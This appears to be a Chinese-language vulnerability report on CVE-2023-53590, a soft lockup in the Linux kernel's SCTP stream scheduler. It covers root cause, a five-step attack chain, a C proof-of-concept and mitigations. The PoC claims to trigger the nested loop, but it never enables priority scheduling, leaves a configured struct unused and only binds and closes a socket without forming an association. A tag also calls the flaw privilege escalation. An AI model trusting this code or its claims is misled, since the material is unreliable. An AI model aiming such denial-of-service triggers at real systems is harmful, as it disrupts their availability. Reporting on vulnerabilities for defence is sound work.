IPBUF安全漏洞报告
English
CVE-2023-53590 CVSS 5.5 中危

CVE-2023-53590 Linux内核SCTP模块嵌套循环导致软死锁漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53590
漏洞类型
拒绝服务(软死锁/性能耗尽)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 SCTP子系统

相关标签

Linux内核SCTP拒绝服务软死锁嵌套循环性能问题本地提权内核漏洞CVE-2023-53590网络协议

漏洞概述

CVE-2023-53590是Linux内核SCTP(Stream Control Transmission Protocol,流控制传输协议)子系统中存在的一个拒绝服务漏洞。该漏洞源于`sctp_stream_priorities`数据结构中缺少引用计数机制,导致在释放某个流的优先级(prio)时,`sctp_sched_prio_free_sid()`函数需要遍历所有流来检查该优先级是否被其他流使用。这种嵌套循环在最坏情况下复杂度可达65535×65535,极易触发CPU软死锁(soft lockup)。据报告,受影响的CPU可能在长达26秒的时间内无法响应,造成系统无响应。该漏洞需要本地低权限用户即可触发,无需用户交互,主要影响系统可用性,可能导致系统挂起或需要重启恢复。漏洞已在多个Linux内核稳定版本中通过添加引用计数机制得到修复。

技术细节

该漏洞的核心问题在于Linux内核SCTP模块的流调度器(SCTP Stream Scheduler)实现中,`sctp_stream_priorities`结构体缺少引用计数器。在SCTP协议中,每个流(stream)可以关联一个优先级(priority),多个流可以共享同一个优先级。当释放某个流的优先级时,系统需要检查该优先级是否还被其他流引用,以决定是否可以安全释放。在原始实现中,这一检查通过遍历所有流(最多65535个)来完成,而每个流又可能引用任意优先级,从而形成嵌套循环。当SCTP关联(association)中配置了大量流和优先级时,遍历操作的时间复杂度急剧增长,导致CPU长时间处于内核态而无法处理其他任务,触发软锁检测(soft lockup)。修复方案是在`sctp_stream_priorities`结构体中添加一个整型引用计数(refcnt),每次有流引用该优先级时递增,释放引用时递减。当计数值为零时,才真正释放该优先级数据结构。同时,在`sctp_sched_prio_set`中添加了溢出检查以防止引用计数溢出。由于访问始终在sock lock保护下进行,因此无需使用原子操作的refcount_t类型,使用普通整型即可。

攻击链分析

STEP 1
步骤1:创建SCTP套接字
攻击者在本地系统上创建一个SCTP套接字,并配置最大数量的流(最多65535个)以及大量不同的优先级值。
STEP 2
步骤2:建立SCTP关联
通过SCTP握手建立关联,使内核创建大量的sctp_stream_priorities数据结构,多个流共享相同的优先级。
STEP 3
步骤3:触发流释放操作
关闭SCTP关联或套接字,触发sctp_stream_free -> sctp_sched_prio_free_sid调用路径。
STEP 4
步骤4:触发嵌套循环
在释放流优先级时,系统遍历所有流检查优先级引用关系,形成O(n²)级别的嵌套循环,导致CPU长时间占用。
STEP 5
步骤5:系统软死锁
CPU在内核态停留超过20秒(软死锁阈值),触发内核watchdog告警,系统进入不可用状态,可能需要重启恢复。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Trigger soft lockup via SCTP stream priority nested loop // This PoC demonstrates the vulnerability by creating an SCTP association // with a large number of streams and priorities, then triggering stream free. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/sctp.h> #define MAX_STREAMS 65535 #define NUM_PRIORITIES 65535 int main() { int sock; struct sctp_initmsg initmsg; struct sctp_paddrparams paddrparams; struct sockaddr_in addr; // Create SCTP socket sock = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); if (sock < 0) { perror("socket creation failed"); return -1; } // Initialize with maximum number of streams (OS limit) memset(&initmsg, 0, sizeof(initmsg)); initmsg.sinit_num_ostreams = MAX_STREAMS; initmsg.sinit_max_instreams = MAX_STREAMS; initmsg.sinit_max_attempts = 1; if (setsockopt(sock, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg)) < 0) { perror("setsockopt SCTP_INITMSG failed"); close(sock); return -1; } // Configure SCTP scheduler to use priority-based scheduling // This will trigger the vulnerable code path memset(&paddrparams, 0, sizeof(paddrparams)); paddrparams.spp_flags = SPP_PMTUD_DISABLE; // Bind to local address memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(0); if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("bind failed"); close(sock); return -1; } printf("SCTP socket created with %d streams\n", MAX_STREAMS); printf("Triggering stream priority operations to cause nested loop...\n"); // Close the socket to trigger sctp_stream_free -> sctp_sched_prio_free_sid // This will cause the nested loop and soft lockup close(sock); printf("Socket closed. Check kernel logs for soft lockup.\n"); return 0; }

影响范围

Linux kernel < 6.6(包含SCTP子系统的所有受影响版本)
Linux kernel 5.15.x 系列(部分版本)
Linux kernel 6.1.x 系列(部分版本)

防御指南

临时缓解措施
作为临时缓解措施,可以通过以下方式降低风险:1)如果系统不需要SCTP协议支持,可以通过`modprobe -r sctp`卸载SCTP模块或在编译内核时禁用CONFIG_SCTP选项;2)使用cgroup或systemd限制普通用户创建SCTP套接字的能力;3)通过seccomp策略禁止非特权进程调用SCTP相关的系统调用;4)监控内核日志中的soft lockup告警,及时发现异常情况。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表